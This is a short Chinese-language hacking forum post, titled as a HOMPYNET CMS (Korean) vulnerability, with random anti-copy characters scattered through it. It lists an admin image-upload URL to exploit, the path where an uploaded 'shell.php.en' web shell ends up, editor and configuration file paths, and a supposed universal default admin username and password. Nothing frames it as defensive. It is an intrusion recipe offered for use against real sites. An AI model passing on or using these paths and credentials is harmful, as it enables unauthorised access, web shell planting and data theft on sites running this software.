韩国HOMPYNET CMS漏洞

admin

上传漏洞  :

: p$ W( [; t5 o% ~1 C( B% Phttp://www.xxx.com/admin/image_a ... p;iname=&iform=
- G4 p2 ], ^* q& u6 l
$ E$ G) }6 K* Y1 D4 lhttp://www.xxx.com/admin/image_a ... p;iname=&iform=

* M( c2 |: Q" ?: W7 j3 j) i! m" z* C上传后路径：
5 N/ h6 r/ x' l3 {$ S- ^
( c; |  \& M: r3 b% y+ h4 Shttp://www.xxx.com/bis_web_page/images/shell.php.en
- Y+ a2 \; u1 n9 c
编辑器：

2 N0 s( X. J* hhttp://www.xxx.com/admin/editor/SWE.php
0 b+ }+ ~8 p* D2 k1 |7 w& W' Y
- f4 q/ ]# E, b+ V& E+ K7 Uhttp://www.xxx.com/program/editor/SWE.php

数据配置文件路径：
# ?3 J! {: \% h1 E( M/ q
$ M; T8 n4 K5 Uhttp://www.xxx.com/m_config/DATA/g_setting.php
1 ~" u) n/ \4 e% g* S
3 K. p/ _) i5 u" B此程序通用后台账号 ：gamsiw  php99
. d( Y6 @0 \$ u! v
* @; B! {3 j/ \+ W; M​